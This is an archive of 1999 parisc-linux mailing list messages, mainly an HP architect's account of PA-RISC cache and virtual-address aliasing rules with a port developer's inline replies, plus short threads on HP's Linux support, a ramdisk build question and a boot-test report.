limited space aliasing.  It allows space aliasing if certain bits
match between the addresses.  For PCX-S, this means you have just 4
bits that can be used as an alias. For example, address
0x1234.00000000 (space register contents = 0x1234, offset = 00000000)
can be aliased to address 0x2234.00000000.  This change was encouraged
by some of the Apollo engineers that wanted to enable some amount of
aliasing to help with Domain needs (they wanted more).  Several of the
machines used the low-order space bits as part of the cache-index
computation.  So two addresses like 0x1.00000000 and 0x2.0000000 would
definitely NOT be in the same spot in the cache.

This wasn't enough, by the last 1.1 book (1.1e3 published 2/94) we
added 1MByte offset aliasing (page 3-6).  We also included a PDC call
to disable space hashing on the newer machines.  Once disabled, SW
could then alias any 2 virtual addresses provided the low 20-bits were
equal.  HP-UX never used this feature since it cut performance in high
multi-programmed environments (ex. TPC-A at the time).

We also introduced "non-equivalent" aliasing in the 1.1e3 book.  It
allows aliasing down to the 4k boundary if some very special rules
were followed.  In all the old designs, read-only aliasing did happen
to work, but the PA7200 had a little wrinkle that would HPMC if you didn't
carefully transition a page from read-only to read-write.

The 2.0 architecture extended the architecture to support 64-bit
offsets.  Space registers were extended to 64-bits in width (although
today's PA8xxx processors only implement 32-bits).  Aliasing rules
were changed in a small way (2.0 page F-6).  First, the space bits
that could be used in cache hashing were moved from 3 different places
to a continuous group above the low 48-bits of the GVA.  The PDC call
to disable space hashing remains.

More recently, we changed the aliasing boundary to be a range from
4K-16M that the machine communicates through PDC_CACHE.D_conf.alias.
Machines either return 0 which means "can't count on offset
aliasing" or the offset aliasing boundary.

One additional comment, a couple of recent designs do not fully meet
the read-only non-equivalent aliasing rules.  We're having some
internal discussion on how to best document the architecture.  If you
don't absolutely need the non-equivalent aliasing, avoid it or send me
mail to figure out a solution.

So, what does this mean to the PA-RISC Linux port.  I would try to
think about a 2 level approach.  The first level is a "use the global
address space if it's easy".  This would mimic the current simple HP-UX
address space layout.  If the process uses < 1Gbyte for text, data,
and shared structures (SR4, SR5, and SR6 respectively), then great.
Once a process needs resources or sharing that isn't easily
accommodated, then switch to an "all or nearly all alias" model.
In the alias model, encourage aliases that don't require flushing,
otherwise ping-pong the translations as needed.  If you use a
page-table translation SW cache in front of the real page tables,
you can use the hardware walker, avoid lots of virtual mode references
in TLB miss handler, and manage these aliases in one spot.  No doubt
some coordination problems will exist.  Just some thoughts.

Hope this helps.  As an additional FYI, we are preparing a set of
errata pages to augment the 2.0 Kane book and will post them to the web
once we complete them.  Included will be clarifications on this
non-equivalent aliasing issue.

Jerry Huck (jerry_huck@hp.com)
PA-RISC and IA-64 Architecture
Hewlett-Packard


From - Thu Nov 08 21:11:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tomasz Korycki <tkorycki@sprint.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Puffin sells out!
Date: Thu, 16 Dec 1999 13:36:38 -0500
Lines: 53
Approved: news@gmane.org
Message-ID: <1.5.4.32.19991216183638.006c83a8@pop3.sprint.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618703 29317 80.91.229.3 (22 Nov 2014 01:11:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tkorycki@sprint.ca  Thu Dec 16 11:35:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA24403
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Dec 1999 11:35:46 -0700
Original-Received: (qmail 1537 invoked by uid 15267); 16 Dec 1999 18:38:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1529 invoked from network); 16 Dec 1999 18:38:07 -0000
Original-Received: from ha1.rdc3.on.home.com (HELO mail.rdc3.on.home.com) (24.2.9.68)
  by mailserv2.iuinc.com with SMTP; 16 Dec 1999 18:38:07 -0000
Original-Received: from flow4 ([24.112.191.14]) by mail.rdc3.on.home.com
          (InterMail v4.01.01.02 201-229-111-106) with SMTP
          id <19991216183433.RDSB15480.mail.rdc3.on.home.com@flow4>
          for <parisc-linux@thepuffingroup.com>;
          Thu, 16 Dec 1999 10:34:33 -0800
X-Sender: tkorycki@pop3.sprint.ca
X-Mailer: Windows Eudora Light Version 1.5.4 (32)
Xref: news.gmane.org gmane.linux.ports.parisc:6618

>>>>>>>>>>>>>>>>>>>>> snip! <<<<<<<<<<<<<<<<<<<

>> The community understands that HP has been funding and supporting the
>> port.  The big question is the level of support enough?  How important
>> is linux to HP's future?  At least two years ago, SGI decided IRIX was
>> dying and agressively started to support linux development for their
>> machines. 

>>>>>>>>>>>>>>>>>>>>> snip! <<<<<<<<<<<<<<<<<<<

>I think we have to be careful here, because there are some key 
>differences.  There is no question in my mind that Linux is very
>important to HP.  However, where SGI made the decision to eventually
>replace IRIX with Linux, HP still has full intent to aggressively
>support, enhance, and continue development of HP-UX.  HP-UX is still
>the #1 UNIX out there and HP is very committed to that customer base.

  OK, the voice from the IRIX-world: Yes, SGI does pretty much the same
thing as HP does. There's full-speed-ahead on the port, but using mostly
spare time, good will and outside community. Documentation has to go through
the same process. It all takes tiiiiiiime.... Anyway, from what I gather,
IRIX is also developing nicely. Essentially, SGI is betting on Linux for
workstations and IRIX for bigger boxes (the criteria: if You need a friend
to lift it, You need IRIX; if You can do it Yourself, Linux will be fine; if
You need a step-ladder to get into it - well, get UnicOS). Mind You, some of
the key IRIX ppl just left, but it may be of no relevance. So, SGI's idea
seems to be: get the low-end with Linux, the middle-ground with IRIX and the
high-end with UNICOS. Makes sense to me. Also, they essentially abandoned
older arch (R3k), which makes things a lot simpler (for porting and,
especially, docs).

>>>>>>>>>>>>>>>>>>>> snip! <<<<<<<<<<<<<<<<<<<<
>> Dave
>> -- 
>> J. David Anglin                                  dave.anglin@nrc.ca
>> National Research Council of Canada              (613) 
>> 990-0752 (FAX: 952-6605)
>> 
>
>+=====================================================================+
>| Martin Fink                 | E-mail: mailto:martin_fink@hp.com     |
>| UNIX Development Lab        | Phone:  970-898-7076                  |
>| Hewlett-Packard Co.         | FAX:    970-898-2838                  |
>| 3404 East Harmony Road      | ===================================== |
>| Ft. Collins, CO, USA, 80528 | Web:    http://www.hp.com/            |
>+=====================================================================+    
>
>---------------------------------------------------------------------------
>To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.
>
>


From - Thu Nov 08 21:11:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] help on ramdisk.c
Date: Fri, 17 Dec 1999 11:22:20 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <004101bf4878$9a323400$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618703 29321 80.91.229.3 (22 Nov 2014 01:11:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:43 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: t.simonnet@esiee.fr  Fri Dec 17 03:20:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA28767
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Dec 1999 03:20:07 -0700
Original-Received: (qmail 27213 invoked by uid 15267); 17 Dec 1999 10:22:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27206 invoked from network); 17 Dec 1999 10:22:29 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 17 Dec 1999 10:22:29 -0000
Original-Received: from venus (venus.esiee.fr [147.215.20.10])
	by mail.esiee.fr (Postfix) with SMTP id 81CE857311
	for <parisc-linux@thepuffingroup.com>; Fri, 17 Dec 1999 11:22:21 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-Mimeole: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:6619

I work on a HP712/60 workstation under HPUX 10.20.
I compile with cc, gcc or aCC.

I can't compile ramdisk.c in any way and then i can't do "make vmlinux" .

Could you help me?


=========================================================
Thierry SIMONNET
Responsable du Service des Moyens Informatiques Gnraux
Groupe ESIEE - CCIP
Cit Descartes - BP 99 - 2 Bd Blaise Pascal
93162 NOISY le Grand cedex

tel: 01 45 92 66 24  fax: 01 45 92 67 99 e-mail:  t.simonnet@esiee.fr
=========================================================






From - Thu Nov 08 21:11:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] help on ramdisk.c
Date: Fri, 17 Dec 1999 03:33:45 -0800 (PST)
Lines: 49
Approved: news@gmane.org
Message-ID: <19991217113345.21665.qmail@web501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618704 29325 80.91.229.3 (22 Nov 2014 01:11:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:44 +0000 (UTC)
To: Thierry SIMONNET <t.simonnet@esiee.fr>, parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Fri Dec 17 04:31:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA30644
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Dec 1999 04:31:24 -0700
Original-Received: (qmail 12510 invoked by uid 15267); 17 Dec 1999 11:33:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12503 invoked from network); 17 Dec 1999 11:33:46 -0000
Original-Received: from web501.mail.yahoo.com (128.11.68.68)
  by mailserv2.iuinc.com with SMTP; 17 Dec 1999 11:33:46 -0000
Original-Received: (qmail 21666 invoked by uid 60001); 17 Dec 1999 11:33:45 -0000
Original-Received: from [149.234.12.1] by web501.mail.yahoo.com; Fri, 17 Dec 1999 03:33:45 PST
Xref: news.gmane.org gmane.linux.ports.parisc:6620

Make sure that you get
ftp://puffin.external.hp.com/pub/parisc/binaries/ramdisks/ramdisk.bin-1991108
and copy this file as ramdisk.bin to your source
directory (e.g. /usr/src/linux/). Then "make vmlinux"
should work.

Ulrich

--- Thierry SIMONNET <t.simonnet@esiee.fr> wrote:
> I work on a HP712/60 workstation under HPUX 10.20.
> I compile with cc, gcc or aCC.
> 
> I can't compile ramdisk.c in any way and then i
> can't do "make vmlinux" .
> 
> Could you help me?
> 
> 
>
=========================================================
> Thierry SIMONNET
> Responsable du Service des Moyens Informatiques
> Gnraux
> Groupe ESIEE - CCIP
> Cit Descartes - BP 99 - 2 Bd Blaise Pascal
> 93162 NOISY le Grand cedex
> 
> tel: 01 45 92 66 24  fax: 01 45 92 67 99 e-mail: 
> t.simonnet@esiee.fr
>
=========================================================
> 
> 
> 
> 
> 
>
---------------------------------------------------------------------------
> To unsubscribe: send e-mail to
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 

__________________________________________________
Do You Yahoo!?
Thousands of Stores.  Millions of Products.  All in one place.
Yahoo! Shopping: http://shopping.yahoo.com


From - Thu Nov 08 21:11:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Comments on non-equivalent aliasing and PA-RISC (long)
Date: Fri, 17 Dec 1999 15:22:06 +0100
Lines: 224
Approved: news@gmane.org
Message-ID: <19991217152206.B1829@mathe.stud.uni-erlangen.de>
References: <199912161642.IAA11478@lucy.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618704 29328 80.91.229.3 (22 Nov 2014 01:11:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jerry Huck <huck@cup.hp.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Fri Dec 17 07:18:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA31681
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Dec 1999 07:18:17 -0700
Original-Received: (qmail 29153 invoked by uid 15267); 17 Dec 1999 14:20:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29131 invoked from network); 17 Dec 1999 14:20:39 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Dec 1999 14:20:39 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Fri, 17 Dec 1999 15:20:35 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id PAA01857;
	Fri, 17 Dec 1999 15:23:06 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199912161642.IAA11478@lucy.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6621

> In summary, I think the 2.0 and 1.1e3 architecture book is overly
> restrictive on aliasing between physical and virtual addresses.  We

IMO they are too restrictive.

> are investigating prior designs to ensure that we can restate the
> rules to allow transitivity in the equivalent aliasing rules.  We hope

I do not believe that there is a possible implementation that wouldn't
violate the old rules but would violate the new ones -- it's more of a
clarification than an actual change (I may be thinking about a different
thing though).

> I've been involved in the PA-RISC architecture development process
> since 1983.  The virtual memory model was heavily influenced by the
> single-level store work by IBM (in System 3x).  But, that influence
> was heavily tempered by hardware designers trying to squeeze it into
> very modest LSI.  The big dilemma was the HW interest in having big
> virtual-indexed caches to avoid putting the TLB lookup in the critical
> path.  There are ways to have big caches and full aliasing support
> but it does take effort and reduces performance.

In 1983 virtually-indexed caches might have been an overall good idea. 

> PA-RISC defines a virtual memory model based on global virtual
> addresses (GVA).  A virtual address is first transformed into a global
> virtual address (via a simple space register lookup and concatenation
> for PA1.x) and that address is used to lookup in the TLB.  This allows
> a single page table to hold translations for all processes.

Yup, this is why we really really want to use space registers.

> A different mechanism is used to provide protection (protection IDs).  A
> specialization of this approach is address space IDs used in some
> other RISC architectures.  This augments the per-process address space
> to avoid TLB purging on context switch.
> 
> When data is not shared between processes, then everything is simple.
> Sharing on traditional page-table per process architectures is done via
> aliasing.  Sharing on PA-RISC is done by using the same GVA.

Doesn't sound right to me.  Sharing address spaces between threads can
be done using the same GVA.  Normal mmap style sharing we can do using
duplicated TLB entries, right ?

> Single address space models didn't normally require aliasing.  A
> process was always given a global address to the data.  Protection is
> done using the Protection IDs.  This works very well when you can
> control the system call semantics.  Sharing is easy and the tough
> things (like very different access rights to the same VA range) are
> just outlawed.  Unix process semantics that suggested aliasing (like
> fork) could be easily implemented using shared global addresses.  The
> text segment is directly shared by using the same space register ID.

This sounds like it'd be hard to get Linux to do right.  Furthermore it's
a rather minor optimization (it's about copying page tables, not about 
copying pages).

> Data segment sharing is done via copy-on-access instead of
> copy-on-write.

I think there shouldn't be a problem with doing standard COW though.

> Sharing is done with SR6 and SR7 being common between
> all processes.
> 
> The other nice aspect of single address space models is the sharing of
> TLB entries.

Did I miss the first one ?

> Sharing is done by using the same global virtual address
> - hence it's covered by the same TLB entry.  The OS can keep a single
> data structure for that object and just record the processes that
> attach to it.  For example, there is a single text segment for all the
> "vi" processes.  They all share the same page table and TLB entries for
> that segment.

Sounds hard to get to work with the page cache.

> Single address spaces are not without problems.  The biggest in
> PA-RISC was the 1G limit for each of the quadrants.  An aliased model
> allows a flexible boundary between stack, heap, text, shared data,
> etc.  We had to make special hacks to get around the problems - some
> that encouraged some limited aliasing.  IBM's RS6000 has a little bit
> of the same issue but had 16 space-like registers (upper 4-bits of
> each 32-bit offset).  They could more easily adjust boundaries to
> allow flexible sizing of process address space.  As many people have
> said in the past, "this is not a problem for the 2.0 architecture
> since a 62-bit offset is more than enough for the future - or at
> least until I retire".

If only it was 62 bits.  The space register ORing really makes that part
less fun.

> Our second problem with single address spaces that we didn't fix
> until PA2.0, was good support for instruction stream space crossing.
> The Apollo folks tried to get better shared library support in 1.1
> ('89ish) but the design (PA7000) was too far along and we just did the
> FP part of their proposal.  Also, I didn't have a good handle on
> shared library design to support the proposal.
> 
> A final general problem is the ability to incorporate other designs
> into our "different" environment.  For example, a 3rd party file
> system might be designed to coordinate between mapped files and the
> buffer pool using aliasing.  While it is not hard to manage coherence
> using GVAs, it will involve a lot of rework to use.
> 
> For this discussion, I'm ignoring aliasing support where all aliased
> translations are ping-ponged between the different aliases via
> protection faults.  We can handle any kind of alias if you're willing to
> take the time to remap the page.  Some minimization of the ping-ponging
> must be considered.
> 
> So the rest of the note is a little chronology of the how the aliasing
> architecture evolved to the current definition.
> 
> The first specs completely outlawed all aliasing.  It was/is expected
> that the OS flush the range whenever a virtual address (VA) needed to
> be changed.  An early change was made to allow PA=VA aliasing in '84.  The
> OS couldn't begin to manage the page tables if that aliasing wasn't
> allowed.

Okay, so we don't care about pre-84 boxes (are there any ?)

> The first 1.1 book (11/90) defined the first virtual aliasing model -
> limited space aliasing.  It allows space aliasing if certain bits
> match between the addresses.  For PCX-S, this means you have just 4
> bits that can be used as an alias. For example, address
> 0x1234.00000000 (space register contents = 0x1234, offset = 00000000)
> can be aliased to address 0x2234.00000000.  This change was encouraged
> by some of the Apollo engineers that wanted to enable some amount of
> aliasing to help with Domain needs (they wanted more).  Several of the
> machines used the low-order space bits as part of the cache-index
> computation.  So two addresses like 0x1.00000000 and 0x2.0000000 would
> definitely NOT be in the same spot in the cache.

So on these it's still quite hard to get Linux running and probably not
worth it.

> This wasn't enough, by the last 1.1 book (1.1e3 published 2/94) we
> added 1MByte offset aliasing (page 3-6).  We also included a PDC call
> to disable space hashing on the newer machines.  Once disabled, SW
> could then alias any 2 virtual addresses provided the low 20-bits were
> equal.  HP-UX never used this feature since it cut performance in high
> multi-programmed environments (ex. TPC-A at the time).

These are the ones we care about.

> We also introduced "non-equivalent" aliasing in the 1.1e3 book.  It
> allows aliasing down to the 4k boundary if some very special rules
> were followed.  In all the old designs, read-only aliasing did happen
> to work, but the PA7200 had a little wrinkle that would HPMC if you didn't
> carefully transition a page from read-only to read-write.
> 
> The 2.0 architecture extended the architecture to support 64-bit
> offsets.  Space registers were extended to 64-bits in width (although
> today's PA8xxx processors only implement 32-bits).  Aliasing rules
> were changed in a small way (2.0 page F-6).  First, the space bits
> that could be used in cache hashing were moved from 3 different places
> to a continuous group above the low 48-bits of the GVA.  The PDC call
> to disable space hashing remains.
> 
> More recently, we changed the aliasing boundary to be a range from
> 4K-16M that the machine communicates through PDC_CACHE.D_conf.alias.
> Machines either return 0 which means "can't count on offset
> aliasing" or the offset aliasing boundary.
> 
> One additional comment, a couple of recent designs do not fully meet
> the read-only non-equivalent aliasing rules.  We're having some
> internal discussion on how to best document the architecture.  If you
> don't absolutely need the non-equivalent aliasing, avoid it or send me
> mail to figure out a solution.

I don't think we do.

> So, what does this mean to the PA-RISC Linux port.  I would try to
> think about a 2 level approach.  The first level is a "use the global
> address space if it's easy".  This would mimic the current simple HP-UX
> address space layout.  If the process uses < 1Gbyte for text, data,
> and shared structures (SR4, SR5, and SR6 respectively), then great.

Actually, I'd expect that to be very hard to do.

> Once a process needs resources or sharing that isn't easily
> accommodated, then switch to an "all or nearly all alias" model.
> In the alias model, encourage aliases that don't require flushing,
> otherwise ping-pong the translations as needed.

Keep it coloured, no ping-pong at all ?   We have to flush the cache for
every miscoloured translation.

> If you use a page-table translation SW cache in front of the real
> page tables, you can use the hardware walker, avoid lots of

We probably will at some point.

> virtual mode references in TLB miss handler, and manage these aliases in

Why should the TLB miss handler ever enable address translation ?

> one spot.  No doubt
> some coordination problems will exist.  Just some thoughts.
> 
> Hope this helps.  As an additional FYI, we are preparing a set of

The very least it does is explain why the documentation seems to be
inconsistent.

> errata pages to augment the 2.0 Kane book and will post them to the web
> once we complete them.  Included will be clarifications on this
> non-equivalent aliasing issue.

Great.

> 
> Jerry Huck (jerry_huck@hp.com)
> PA-RISC and IA-64 Architecture
> Hewlett-Packard
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:11:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP releasing docs...
Date: Thu, 16 Dec 1999 18:09:10 -0500
Organization: The Puffin Group
Lines: 22
Approved: news@gmane.org
Message-ID: <38597116.3E8A11A2@thepuffingroup.com>
References: <E11yEJD-0001UT-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618704 29331 80.91.229.3 (22 Nov 2014 01:11:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:44 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: adevries@thepuffingroup.com  Sun Dec 19 09:29:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA13818
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Dec 1999 09:29:31 -0700
Original-Received: (qmail 3159 invoked by uid 15267); 19 Dec 1999 16:31:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3148 invoked from network); 19 Dec 1999 16:31:53 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 19 Dec 1999 16:31:53 -0000
Original-Received: from thepuffingroup.com (localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id SAA03822;
	Thu, 16 Dec 1999 18:09:15 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6622

Alan Cox wrote:
> > Ideally, though, developers will have access to all the hardware they're
> > porting to.
> Irrespective of who they work for ?

I actually meant that they'd have docs for the hardware they're porting
too, but this is true too.

I think we've been pretty blind in giving hardware out at the start, and
I don't see this changing.

However, what doesn't make sense is to ship people hardware that contain
critical components that either a) don't yet have drivers written or b)
we can't send docs on.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:11:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Puffin sells out!
Date: Thu, 16 Dec 1999 00:47:14 -0500
Organization: The Puffin Group
Lines: 151
Approved: news@gmane.org
Message-ID: <38587CE2.DF6D9A23@thepuffingroup.com>
References: <Pine.LNX.4.10.9912150048310.1301-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618705 29335 80.91.229.3 (22 Nov 2014 01:11:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Sun Dec 19 09:29:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA13859
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Dec 1999 09:29:32 -0700
Original-Received: (qmail 3174 invoked by uid 15267); 19 Dec 1999 16:31:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3163 invoked from network); 19 Dec 1999 16:31:54 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 19 Dec 1999 16:31:54 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id AAA03740
	for <parisc-linux@thepuffingroup.com>; Thu, 16 Dec 1999 00:47:19 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6623

Eric Molitor wrote:
> >From all appearences HP has a strong interest in porting Linux to the
> PA-Risc architecture (at least the 2.0 arch.). If I recall correctly
> aren't there some HP employees whom get paid to work on the port (at least
> for 2.0). 

There are, yes.  Take a bow, Grant Grundler and Paul Bame.

> Regardless I've allready heard rumors that the port is dead from
> several people whom are quite distanced from the actual port.

Anyone who thinks this port is dead clearly hasn't been reading the CVS
mailing list or reading the weekly summary of changes.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 20:49:40 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id UAA05322
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 20:49:40 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 20:49:40 PST
Received: from smtp03.primenet.com (daemon@smtp03.primenet.com [206.165.6.133])
	by primenet.com (8.8.8/8.8.5) with ESMTP id VAA25821
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 21:38:34 -0700 (MST)
Received: (from daemon@localhost)
	by smtp03.primenet.com (8.8.8/8.8.8) id VAA10402
	for <pcj@primenet.com>; Wed, 10 Mar 1999 21:39:41 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp03.primenet.com, id smtpd010381; Wed Mar 10 21:39:37 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id XAA22032;
	Wed, 10 Mar 1999 23:39:37 -0500
Resent-Date: Wed, 10 Mar 1999 23:39:37 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <36E748FC.38A01576@Technologist.Com>
Date: Wed, 10 Mar 1999 22:39:24 -0600
From: Justin Hamilton <CTOP@Technologist.Com>
Reply-To: JHamilton@Earthling.Net
Organization: CTOP Computers
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] Bootstrap take 3 - SUCCESSFUL
References: <199903092345.RAA25911@equator.com>
Content-Type: multipart/mixed;
 boundary="------------F37B0E25A39500AA966A619F"
Resent-Message-ID: <"qZP1y.0.9O5.9aqvs"@sod.res.cmu.edu>
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/170
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: efce8652876d8ec4ad40864026594227
Lines: 84
Xref: merlin.pcj.primenet.com palinux:141

This is a multi-part message in MIME format.
--------------F37B0E25A39500AA966A619F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Happy to announce my 9000/720 booted & ran the dummy kernel successfully
from my 2nd disk.

Keep it coming, I have a whole 2nd disk to test this on as it is
developed.  Wish I had some OS Coding knowledge & experience to add to
the project.  I will settle for being a tester :)

Jason Eckhardt wrote:

> If the test runs successfully you should see this at the end:
> ---------------------------------------------------------------------------
> 
> Reading parameters...done.
> Size = 28672 bytes, entry = 0x00001000, location = 0xnnnnnnnn.
> Loading kernel...done.
> Transferring control to kernel.
